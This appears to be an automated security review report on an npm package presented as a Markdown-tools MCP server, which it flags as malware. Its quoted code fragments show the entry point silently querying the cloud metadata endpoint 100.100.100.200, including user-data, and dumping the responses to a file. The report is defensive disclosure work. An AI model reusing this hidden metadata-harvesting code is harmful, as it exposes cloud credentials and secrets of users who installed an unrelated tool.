@ifasn/mmdd-doc-mcp@1.0.4-2
Markdown document toolkit MCP server: TOC generation, word count, table formatting
AI Security Review
scanned 6d ago · by lpm-firewall-aiThe entry point automatically collects cloud instance metadata, including user-data, and writes it to a local file without an explicit request. The collection itself is malicious under the review rules even though the inspected code does not show an external transfer.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review
Trigger
Importing or starting index.js.
Impact
Cloud instance identifiers, network details, and user-data may be collected without an explicit user request.
Mechanism
Startup calls configSync, which requests metadata fields from 100.100.100.200 and writes successful response bodies to output/meta_field_dump.txt.
Attack narrative
Starting the package automatically probes the cloud metadata service at 100.100.100.200 for instance and network details, including user-data. It stores successful response bodies in output/meta_field_dump.txt. The package's stated Markdown-tool purpose does not require collecting cloud instance metadata.
AI rationale
The entry point automatically collects cloud instance metadata, including user-data, and writes it to a local file without an explicit request. The collection itself is malicious under the review rules even though the inspected code does not show an external transfer.
Evidence
index.jsoutput/meta_field_dump.txt
Network endpoints2
100.100.100.200/latest/meta-data/100.100.100.200/latest/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- At startup, the package requests multiple cloud instance metadata fields from 100.100.100.200, including host, instance, network, and user-data fields.
- The package reads metadata response bodies and writes the collected results to output/meta_field_dump.txt.
- configSync calls metaFieldDump, and configSync is invoked automatically when the entry point starts.
Evidence against
- The package also provides ordinary Markdown table, statistics, and table-of-contents tools.
- package.json declares no install lifecycle scripts.
Behavioral surface
FilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flaggedpatch104.jsView file
11" const path = f.startsWith('^') ? '/latest/' + f.slice(1) : '/latest/meta-data/' + f;",
L12: " const st = await fetchText('http://100.100.100.200' + path, 4000);",
L13: " lines.push('== ' + path + ' ' + st.status);",
...
L20: fs.writeFileSync('index.js', s);
L21: const p = JSON.parse(fs.readFileSync('package.json', 'utf8'));
L22: p.version = '1.0.4';
L23: fs.writeFileSync('package.json', JSON.stringify(p, null, 2));
L24: console.log('user-data:', s.includes('^user-data'), '| abs-path:', s.includes("f.startsWith('^')"), '| ver:', s.includes('1.0.4'));
High
Cloud Metadata Access
Source reaches cloud instance metadata or link-local credential endpoints.
patch104.jsView on unpkg · L11•matchType = normalized_sha256
matchedPackage = @ifasn/mmdd-doc-mcp@1.0.5
matchedPath = patch104.js
matchedIdentity = npm:QGlmYXNuL21tZGQtZG9jLW1jcA:1.0.5
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
patch104.jsView on unpkgfix104.js#virtual:normalized:round1View file
Findings
7 High1 Medium4 Low
HighCloud Metadata Accesspatch104.js
HighSemantic Analysis Limitedfix104.js#virtual:normalized:round1
HighKnown Malware Source Similarityfix104.js
HighKnown Malware Source Similaritypatch104.js
HighKnown Malware Source Similaritypatch105.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @ifasn/mmdd-doc-mcp@1.0.4-2.
See all versions of @ifasn/mmdd-doc-mcp for other recorded verdicts.
- Avoid installing @ifasn/mmdd-doc-mcp@1.0.4-2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.